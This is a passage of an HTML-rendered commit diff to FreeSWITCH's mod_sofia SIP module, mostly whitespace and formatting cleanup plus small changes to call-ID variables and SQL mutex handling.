</span><del>-        while(switch_channel_ready(tech_pvt->channel) && tech_pvt->want_event && switch_epoch_time_now(NULL) < exp) {
</del><ins>+        while (switch_channel_ready(tech_pvt->channel) && tech_pvt->want_event && switch_epoch_time_now(NULL) < exp) {
</ins><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number)
</del><ins>+void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number)
</ins><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><span class="cx">         switch_core_session_t *session_b;
</span><span class="lines">@@ -484,7 +546,7 @@
</span><span class="cx">         if (zstr(name)) {
</span><span class="cx">                 name = number;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(number)) {
</span><span class="cx">                 number = caller_profile->destination_number;
</span><span class="cx">         }
</span><span class="lines">@@ -533,7 +595,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((val = sofia_glue_get_unknown_header(sip, "X-FS-Display-Name"))) {
</span><del>-                name = (char *)val;
</del><ins>+                name = (char *) val;
</ins><span class="cx">                 fs++;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -557,18 +619,19 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (((tmp = switch_channel_get_variable(channel, "effective_callee_id_name")) ||
</span><del>-                (tmp = switch_channel_get_variable(channel, "sip_callee_id_name")) ||
</del><ins>+                 (tmp = switch_channel_get_variable(channel, "sip_callee_id_name")) ||
</ins><span class="cx">                  (tmp = switch_channel_get_variable(channel, "callee_id_name"))) && !zstr(tmp)) {
</span><del>-                name = (char *)tmp;
</del><ins>+                name = (char *) tmp;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (((tmp = switch_channel_get_variable(channel, "effective_callee_id_number")) ||
</span><del>-                (tmp = switch_channel_get_variable(channel, "sip_callee_id_number")) ||
</del><ins>+                 (tmp = switch_channel_get_variable(channel, "sip_callee_id_number")) ||
</ins><span class="cx">                  (tmp = switch_channel_get_variable(channel, "callee_id_number"))) && !zstr(tmp)) {
</span><span class="cx">                 number = tmp;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (zstr(name)) name = (char *) number;
</del><ins>+        if (zstr(name))
+                name = (char *) number;
</ins><span class="cx">
</span><span class="cx">         if (zstr(name) && zstr(number)) {
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -585,7 +648,7 @@
</span><span class="cx">                 switch_channel_event_set_data(channel, event);
</span><span class="cx">                 switch_event_fire(&event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">
</span><span class="cx">         if (!strcmp(caller_profile->callee_id_name, name) && !strcmp(caller_profile->callee_id_number, number)) {
</span><span class="lines">@@ -601,7 +664,7 @@
</span><span class="cx">                 sofia_send_callee_id(session, NULL, NULL);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        end:
</del><ins>+ end:
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -639,7 +702,7 @@
</span><span class="cx">                                 channel = switch_core_session_get_channel(session);
</span><span class="cx">                                 if (tech_pvt) {
</span><span class="cx">                                         switch_mutex_lock(tech_pvt->sofia_mutex);
</span><del>-                                        locked = 1;                                                                                
</del><ins>+                                        locked = 1;
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_core_session_rwunlock(session);
</span><span class="cx">                                         return;
</span><span class="lines">@@ -682,12 +745,12 @@
</span><span class="cx">
</span><span class="cx">                 if (authorization) {
</span><span class="cx">                         char network_ip[80];
</span><del>-                        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), NULL);
</del><ins>+                        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), NULL);
</ins><span class="cx">                         auth_res = sofia_reg_parse_auth(profile, authorization, sip,
</span><span class="cx">                                                                                         (char *) sip->sip_request->rq_method_name, tech_pvt->key, strlen(tech_pvt->key), network_ip, NULL, 0,
</span><span class="cx">                                                                                         REG_INVITE, NULL, NULL, NULL);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (auth_res != AUTH_OK) {
</span><span class="cx">                         //switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         nua_respond(nh, SIP_401_UNAUTHORIZED, TAG_END());
</span><span class="lines">@@ -728,7 +791,7 @@
</span><span class="cx">                                 if (sip->sip_to && sip->sip_to->a_tag) {
</span><span class="cx">                                         switch_channel_set_variable(channel, "sip_to_tag", sip->sip_to->a_tag);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip->sip_from && sip->sip_from->a_tag) {
</span><span class="cx">                                         switch_channel_set_variable(channel, "sip_from_tag", sip->sip_from->a_tag);
</span><span class="cx">                                 }
</span><span class="lines">@@ -738,13 +801,22 @@
</span><span class="cx">                                         switch_snprintf(sip_cseq, sizeof(sip_cseq), "%d", sip->sip_cseq->cs_seq);
</span><span class="cx">                                         switch_channel_set_variable(channel, "sip_cseq", sip_cseq);
</span><span class="cx">                                 }
</span><ins>+
+                                if (sip->sip_call_id && sip->sip_call_id->i_id) {
+                                        switch_channel_set_variable(channel, "sip_call_id", sip->sip_call_id->i_id);
+                                }
+
+                                extract_header_vars(profile, sip, session);
+                                sofia_glue_tech_track(tech_pvt->profile, session);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         case nua_r_ack:
</span><del>-                if (channel) switch_channel_set_flag(channel, CF_MEDIA_ACK);
</del><ins>+                if (channel)
+                        switch_channel_set_flag(channel, CF_MEDIA_ACK);
</ins><span class="cx">                 break;
</span><span class="cx">         case nua_r_shutdown:
</span><del>-                if (status >= 200) su_root_break(profile->s_root);
</del><ins>+                if (status >= 200)
+                        su_root_break(profile->s_root);
</ins><span class="cx">                 break;
</span><span class="cx">         case nua_r_message:
</span><span class="cx">                 sofia_handle_sip_r_message(status, profile, nh, sip);
</span><span class="lines">@@ -804,7 +876,8 @@
</span><span class="cx">         case nua_r_refer:
</span><span class="cx">                 break;
</span><span class="cx">         case nua_i_refer:
</span><del>-                if (session) sofia_handle_sip_i_refer(nua, profile, nh, session, sip, tags);
</del><ins>+                if (session)
+                        sofia_handle_sip_i_refer(nua, profile, nh, session, sip, tags);
</ins><span class="cx">                 break;
</span><span class="cx">         case nua_r_subscribe:
</span><span class="cx">                 sofia_presence_handle_sip_r_subscribe(status, phrase, nua, profile, nh, sofia_private, sip, tags);
</span><span class="lines">@@ -814,7 +887,8 @@
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 if (status > 100) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s: unknown event %d: %03d %s\n", nua_event_name(event), event, status, phrase);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s: unknown event %d: %03d %s\n", nua_event_name(event), event,
+                                                         status, phrase);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s: unknown event %d\n", nua_event_name(event), event);
</span><span class="cx">                 }
</span><span class="lines">@@ -834,7 +908,7 @@
</span><span class="cx">                 break;
</span><span class="cx">
</span><span class="cx">         case nua_i_notify:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip && sip->sip_event && !strcmp(sip->sip_event->o_type, "dialog") && sip->sip_event->o_params && !strcmp(sip->sip_event->o_params[0], "sla")) {
</span><span class="cx">                         check_destroy = 0;
</span><span class="cx">                 }
</span><span class="lines">@@ -859,11 +933,11 @@
</span><span class="cx">                         nh = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_private && sofia_private->destroy_me) {
</span><span class="cx">                 if (tech_pvt) {
</span><del>- tech_pvt->sofia_private = NULL;
- }
</del><ins>+                        tech_pvt->sofia_private = NULL;
+                }
</ins><span class="cx">
</span><span class="cx">                 if (nh) {
</span><span class="cx">                         nua_handle_bind(nh, NULL);
</span><span class="lines">@@ -879,7 +953,7 @@
</span><span class="cx">         if (locked && tech_pvt) {
</span><span class="cx">                 switch_mutex_unlock(tech_pvt->sofia_mutex);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 switch_core_session_rwunlock(session);
</span><span class="cx">         }
</span><span class="lines">@@ -994,7 +1068,7 @@
</span><span class="cx">                         fixed_contact_str = malloc(len);
</span><span class="cx">                         switch_assert(fixed_contact_str);
</span><span class="cx">                         switch_copy_string(fixed_contact_str, contact_str, len);
</span><del>-        
</del><ins>+
</ins><span class="cx">                         if ((sptr = strstr(fixed_contact_str, needle))) {
</span><span class="cx">                                 char *origsptr = strstr(contact_str, needle);
</span><span class="cx">                                 eptr = strchr(++origsptr, ';');
</span><span class="lines">@@ -1023,14 +1097,14 @@
</span><span class="cx">
</span><span class="cx">                 switch_mutex_lock(profile->ireg_mutex);
</span><span class="cx">                 sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_find_local_ip(guess_ip4, sizeof(guess_ip4), NULL, AF_INET);
</span><span class="cx">                 sql = switch_mprintf("insert into sip_registrations "
</span><span class="cx">                                                          "(call_id, sip_user, sip_host, presence_hosts, contact, status, rpid, expires,"
</span><span class="cx">                                                          "user_agent, server_user, server_host, profile_name, hostname, network_ip, network_port, sip_username, sip_realm,"
</span><span class="cx">                                                          "mwi_user, mwi_host, orig_server_host, orig_hostname) "
</span><span class="cx">                                                          "values ('%q','%q','%q','%q','%q','Registered','%q',%ld, '%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')",
</span><del>-                                                         call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4,
</del><ins>+                                                         call_id, from_user, from_host, presence_hosts, contact_str, rpid, expires, user_agent, to_user, guess_ip4,
</ins><span class="cx">                                                          profile_name, mod_sofia_globals.hostname, network_ip, network_port, username, realm, mwi_user, mwi_host,
</span><span class="cx">                                                          orig_server_host, orig_hostname);
</span><span class="cx">
</span><span class="lines">@@ -1043,13 +1117,13 @@
</span><span class="cx">                 if (profile) {
</span><span class="cx">                         sofia_glue_release_profile(profile);
</span><span class="cx">                 }
</span><del>-end:
</del><ins>+         end:
</ins><span class="cx">                 switch_safe_free(fixed_contact_str);
</span><span class="cx">                 switch_safe_free(dup_mwi_account);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void sofia_perform_profile_start_failure(sofia_profile_t *profile, char *profile_name, char* file, int line)
</del><ins>+static void sofia_perform_profile_start_failure(sofia_profile_t *profile, char *profile_name, char *file, int line)
</ins><span class="cx"> {
</span><span class="cx">         int arg = 0;
</span><span class="cx">         switch_event_t *s_event;
</span><span class="lines">@@ -1059,7 +1133,8 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Shutting down!\n", profile->name);
</span><span class="cx">                         switch_core_session_ctl(SCSC_SHUTDOWN, &arg);
</span><span class="cx">                 } else if (!strcasecmp(profile->shutdown_type, "elegant")) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Waiting for calls to finish, then shutting down!\n", profile->name);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Waiting for calls to finish, then shutting down!\n",
+                                                         profile->name);
</ins><span class="cx">                         switch_core_session_ctl(SCSC_SHUTDOWN_ELEGANT, &arg);
</span><span class="cx">                 } else if (!strcasecmp(profile->shutdown_type, "asap")) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Profile %s could not load! Shutting down ASAP!\n", profile->name);
</span><span class="lines">@@ -1080,6 +1155,7 @@
</span><span class="cx">                 switch_event_fire(&s_event);
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> #define sofia_profile_start_failure(p, xp) sofia_perform_profile_start_failure(p, xp, __FILE__, __LINE__)
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1116,15 +1192,15 @@
</span><span class="cx">                                 uint32_t itterations = 0;
</span><span class="cx">                                 switch_size_t len = 0;
</span><span class="cx">
</span><del>-                                switch_mutex_lock(profile->ireg_mutex);
-                        
</del><ins>+                                //switch_mutex_lock(profile->ireg_mutex);
+
</ins><span class="cx">                                 //sofia_glue_actually_execute_sql(profile, "begin;\n", NULL);
</span><span class="cx">
</span><span class="cx">                                 while (switch_queue_trypop(profile->sql_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</span><span class="cx">                                         char *sql = (char *) pop;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         newlen = strlen(sql) + 2;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         if (newlen + 10 < SQLLEN) {
</span><span class="cx">                                                 itterations++;
</span><span class="cx">                                                 if (len + newlen + 10 > sql_len) {
</span><span class="lines">@@ -1143,24 +1219,22 @@
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 //printf("TRANS:\n%s\n", sqlbuf);
</span><del>-                                sofia_glue_actually_execute_sql_trans(profile, sqlbuf, NULL);
</del><ins>+                                sofia_glue_actually_execute_sql_trans(profile, sqlbuf, profile->ireg_mutex);
</ins><span class="cx">                                 //sofia_glue_actually_execute_sql(profile, "commit;\n", NULL);
</span><del>-
-
-                                switch_mutex_unlock(profile->ireg_mutex);
</del><ins>+                                //switch_mutex_unlock(profile->ireg_mutex);
</ins><span class="cx">                                 loop_count = 0;
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         if (qsize) {
</span><del>-                                switch_mutex_lock(profile->ireg_mutex);
</del><ins>+                                //switch_mutex_lock(profile->ireg_mutex);
</ins><span class="cx">                                 while (switch_queue_trypop(profile->sql_queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
</span><del>-                                        sofia_glue_actually_execute_sql(profile, (char *) pop, NULL);
</del><ins>+                                        sofia_glue_actually_execute_sql(profile, (char *) pop, profile->ireg_mutex);
</ins><span class="cx">                                         free(pop);
</span><span class="cx">                                 }
</span><del>-                                switch_mutex_unlock(profile->ireg_mutex);
</del><ins>+                                //switch_mutex_unlock(profile->ireg_mutex);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (++loops >= 1000) {
</span><span class="cx">                         if (++ireg_loops >= IREG_SECONDS) {
</span><span class="cx">                                 time_t now = switch_epoch_time_now(NULL);
</span><span class="lines">@@ -1243,10 +1317,7 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        supported = switch_core_sprintf(profile->pool, "%s%sprecondition, path, replaces",
-                                                                        use_100rel ? "100rel, " : "",
-                                                                        use_timer ? "timer, " : ""
-                                                                        );
</del><ins>+        supported = switch_core_sprintf(profile->pool, "%s%sprecondition, path, replaces", use_100rel ? "100rel, " : "", use_timer ? "timer, " : "");
</ins><span class="cx">
</span><span class="cx">         if (sofia_test_pflag(profile, PFLAG_AUTO_NAT) && switch_core_get_variable("nat_type")) {
</span><span class="cx">                 if (switch_nat_add_mapping(profile->sip_port, SWITCH_NAT_UDP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1255,7 +1326,8 @@
</span><span class="cx">                 if (switch_nat_add_mapping(profile->sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created TCP nat mapping for %s port %d\n", profile->name, profile->sip_port);
</span><span class="cx">                 }
</span><del>-                if (sofia_test_pflag(profile, PFLAG_TLS) && switch_nat_add_mapping(profile->tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (sofia_test_pflag(profile, PFLAG_TLS)
+                        && switch_nat_add_mapping(profile->tls_sip_port, SWITCH_NAT_TCP, NULL, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Created TCP/TLS nat mapping for %s port %d\n", profile->name, profile->tls_sip_port);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -1263,27 +1335,7 @@
</span><span class="cx">         profile->nua = nua_create(profile->s_root,        /* Event loop */
</span><span class="cx">                                                          sofia_event_callback,        /* Callback for processing events */
</span><span class="cx">                                                          profile,        /* Additional data to pass to callback */
</span><del>-                                                         NUTAG_URL(profile->bindurl),
-                                                         NTATAG_USER_VIA(1),
-                                                         TAG_IF(!strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)),
-                                                         TAG_IF(strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)),
-                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile->tls_bindurl)),
-                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile->tls_cert_dir)),
-                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)),
-                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile->tls_version)),
-                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)),
-                                                         TAG_IF(!strchr(profile->sipip, ':'), NTATAG_UDP_MTU(65535)),
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)),
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)),
-                                                         NTATAG_DEFAULT_PROXY(profile->outbound_proxy),
-                                                         NTATAG_SERVER_RPORT(profile->rport_level),
-                                                         TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)),
-                                                          TAG_IF(sofia_test_pflag(profile, PFLAG_SIPCOMPACT), NTATAG_SIPFLAGS(MSG_DO_COMPACT)),
-                                                         TAG_IF(profile->timer_t1, NTATAG_SIP_T1(profile->timer_t1)),
-                                                         TAG_IF(profile->timer_t1x64, NTATAG_SIP_T1X64(profile->timer_t1x64)),
-                                                         TAG_IF(profile->timer_t2, NTATAG_SIP_T2(profile->timer_t2)),
-                                                         TAG_IF(profile->timer_t4, NTATAG_SIP_T4(profile->timer_t4)),
-                                                         TAG_END());        /* Last tag should always finish the sequence */
</del><ins>+                                                         NUTAG_URL(profile->bindurl), NTATAG_USER_VIA(1), TAG_IF(!strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP4_ONLY)), TAG_IF(strchr(profile->sipip, ':'), SOATAG_AF(SOA_AF_IP6_ONLY)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_SIPS_URL(profile->tls_bindurl)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), NUTAG_CERTIFICATE_DIR(profile->tls_cert_dir)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERIFY_POLICY(0)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_TLS_VERSION(profile->tls_version)), TAG_IF(sofia_test_pflag(profile, PFLAG_TLS), TPTAG_KEEPALIVE(20000)), TAG_IF(!strchr(profile->sipip, ':'), NTATAG_UDP_MTU(65535)), TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_SRV), NTATAG_USE_SRV(0)), TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_NAPTR), NTATAG_USE_NAPTR(0)), NTATAG_DEFAULT_PROXY(profile->outbound_proxy), NTATAG_SERVER_RPORT(profile->rport_level), TPTAG_LOG(sofia_test_flag(profile, TFLAG_TPORT_LOG)), TAG_IF(sofia_test_pflag(profile, PFLAG_SIPCOMPACT), NTATAG_SIPFLAGS(MSG_DO_COMPACT)), TAG_IF(profile->timer_t1, NTATAG_SIP_T1(profile->timer_t1)), TAG_IF(profile->timer_t1x64, NTATAG_SIP_T1X64(profile->timer_t1x64)), TAG_IF(profile->timer_t2, NTATAG_SIP_T2(profile->timer_t2)), TAG_IF(profile->timer_t4, NTATAG_SIP_T4(profile->timer_t4)), TAG_END());        /* Last tag should always finish the sequence */
</ins><span class="cx">
</span><span class="cx">         if (!profile->nua) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Creating SIP UA for profile: %s\n", profile->name);
</span><span class="lines">@@ -1299,10 +1351,7 @@
</span><span class="cx">                                  NUTAG_APPL_METHOD("OPTIONS"),
</span><span class="cx">                                  NUTAG_APPL_METHOD("REFER"),
</span><span class="cx">                                  NUTAG_APPL_METHOD("REGISTER"),
</span><del>-                                 NUTAG_APPL_METHOD("NOTIFY"),
-                                 NUTAG_APPL_METHOD("INFO"),
-                                 NUTAG_APPL_METHOD("ACK"),
-                                 NUTAG_APPL_METHOD("SUBSCRIBE"),
</del><ins>+                                 NUTAG_APPL_METHOD("NOTIFY"), NUTAG_APPL_METHOD("INFO"), NUTAG_APPL_METHOD("ACK"), NUTAG_APPL_METHOD("SUBSCRIBE"),
</ins><span class="cx"> #ifdef MANUAL_BYE
</span><span class="cx">                                  NUTAG_APPL_METHOD("BYE"),
</span><span class="cx"> #endif
</span><span class="lines">@@ -1329,8 +1378,7 @@
</span><span class="cx">                                  TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("include-session-description")),
</span><span class="cx">                                  TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("presence.winfo")),
</span><span class="cx">                                  TAG_IF(profile->pres_type, NUTAG_ALLOW_EVENTS("message-summary")),
</span><del>-                                 NUTAG_ALLOW_EVENTS("refer"),
-                                 SIPTAG_SUPPORTED_STR(supported), SIPTAG_USER_AGENT_STR(profile->user_agent), TAG_END());
</del><ins>+                                 NUTAG_ALLOW_EVENTS("refer"), SIPTAG_SUPPORTED_STR(supported), SIPTAG_USER_AGENT_STR(profile->user_agent), TAG_END());
</ins><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set params for %s\n", profile->name);
</span><span class="cx">
</span><span class="lines">@@ -1415,12 +1463,12 @@
</span><span class="cx">         sofia_reg_unregister(profile);
</span><span class="cx">         nua_shutdown(profile->nua);
</span><span class="cx">         su_root_run(profile->s_root);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sofia_clear_pflag_locked(profile, PFLAG_RUNNING);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Waiting for worker thread\n");
</span><span class="cx">
</span><span class="cx">         switch_thread_join(&st, worker_thread);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sanity = 4;
</span><span class="cx">         while (profile->inuse) {
</span><span class="cx">                 switch_core_session_hupall_matching_var("sofia_profile_name", profile->name, SWITCH_CAUSE_MANAGER_REQUEST);
</span><span class="lines">@@ -1431,7 +1479,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         nua_destroy(profile->nua);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(profile->ireg_mutex);
</span><span class="cx">         switch_mutex_unlock(profile->ireg_mutex);
</span><span class="cx">
</span><span class="lines">@@ -1504,7 +1552,8 @@
</span><span class="cx">
</span><span class="cx"> static void logger(void *logarg, char const *fmt, va_list ap)
</span><span class="cx"> {
</span><del>-        if (!fmt) return;
</del><ins>+        if (!fmt)
+                return;
</ins><span class="cx">
</span><span class="cx">         if (ap) {
</span><span class="cx">                 switch_log_vprintf(SWITCH_CHANNEL_LOG_CLEAN, mod_sofia_globals.tracelevel, fmt, ap);
</span><span class="lines">@@ -1513,7 +1562,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static su_log_t *sofia_get_logger(const char *name)
</del><ins>+static su_log_t *sofia_get_logger(const char *name)
</ins><span class="cx"> {
</span><span class="cx">         if (!strcasecmp(name, "tport")) {
</span><span class="cx">                 return tport_log;
</span><span class="lines">@@ -1545,11 +1594,11 @@
</span><span class="cx"> switch_status_t sofia_set_loglevel(const char *name, int level)
</span><span class="cx"> {
</span><span class="cx">         su_log_t *log = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (level < 0 || level > 9) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(name, "all")) {
</span><span class="cx">                 su_log_set_level(su_log_default, level);
</span><span class="cx">                 su_log_set_level(tport_log, level);
</span><span class="lines">@@ -1564,20 +1613,20 @@
</span><span class="cx">                 su_log_set_level(stun_log, level);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(log = sofia_get_logger(name))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         su_log_set_level(log, level);
</span><del>-                
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int sofia_get_loglevel(const char *name)
</span><span class="cx"> {
</span><span class="cx">         su_log_t *log = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((log = sofia_get_logger(name))) {
</span><span class="cx">                 return log->log_level;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1595,10 +1644,10 @@
</span><span class="cx">                 if ((gw_sub = switch_core_alloc(profile->pool, sizeof(*gw_sub)))) {
</span><span class="cx">                         char *expire_seconds = "3600", *retry_seconds = "30", *content_type = "NO_CONTENT_TYPE";
</span><span class="cx">                         char *event = (char *) switch_xml_attr_soft(subscription_tag, "event");
</span><del>-                        gw_sub->event = switch_core_strdup(gateway->pool, event);                        
</del><ins>+                        gw_sub->event = switch_core_strdup(gateway->pool, event);
</ins><span class="cx">                         gw_sub->gateway = gateway;
</span><span class="cx">                         gw_sub->next = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (param = switch_xml_child(subscription_tag, "param"); param; param = param->next) {
</span><span class="cx">                                 char *var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                                 char *val = (char *) switch_xml_attr_soft(param, "value");
</span><span class="lines">@@ -1610,23 +1659,22 @@
</span><span class="cx">                                         content_type = val;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         gw_sub->retry_seconds = atoi(retry_seconds);
</span><span class="cx">                         if (gw_sub->retry_seconds < 10) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "INVALID: retry_seconds correcting the value to 30\n");
</span><span class="cx">                                 gw_sub->retry_seconds = 30;
</span><span class="cx">                         }
</span><del>-                        
-                        gw_sub->expires_str = switch_core_strdup(gateway->pool, expire_seconds);
-                        
</del><ins>+
+                        gw_sub->expires_str = switch_core_strdup(gateway->pool, expire_seconds);
+
</ins><span class="cx">                         if ((gw_sub->freq = atoi(gw_sub->expires_str)) < 5) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                "Invalid Freq: %d. Setting Register-Frequency to 3600\n", gw_sub->freq);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid Freq: %d. Setting Register-Frequency to 3600\n", gw_sub->freq);
</ins><span class="cx">                                 gw_sub->freq = 3600;
</span><span class="cx">                         }
</span><span class="cx">                         gw_sub->freq -= 2;
</span><span class="cx">                         gw_sub->content_type = switch_core_strdup(gateway->pool, content_type);
</span><del>-                        gw_sub->next = gateway->subscriptions;                
</del><ins>+                        gw_sub->next = gateway->subscriptions;
</ins><span class="cx">                 }
</span><span class="cx">                 gateway->subscriptions = gw_sub;
</span><span class="cx">         }
</span><span class="lines">@@ -1671,14 +1719,14 @@
</span><span class="cx">                                 *retry_seconds = "30",
</span><span class="cx">                                 *from_user = "", *from_domain = NULL, *outbound_proxy = NULL, *register_proxy = NULL, *contact_host = NULL,
</span><span class="cx">                                 *contact_params = NULL, *params = NULL, *register_transport = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!context) {
</span><span class="cx">                                 context = "default";
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_uuid_get(&uuid);
</span><span class="cx">                         switch_uuid_format(gateway->uuid_str, &uuid);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         gateway->register_transport = SOFIA_TRANSPORT_UDP;
</span><span class="cx">                         gateway->pool = profile->pool;
</span><span class="cx">                         gateway->profile = profile;
</span><span class="lines">@@ -1690,20 +1738,20 @@
</span><span class="cx">                         gateway->ping_max = 0;
</span><span class="cx">                         gateway->ping_min = 0;
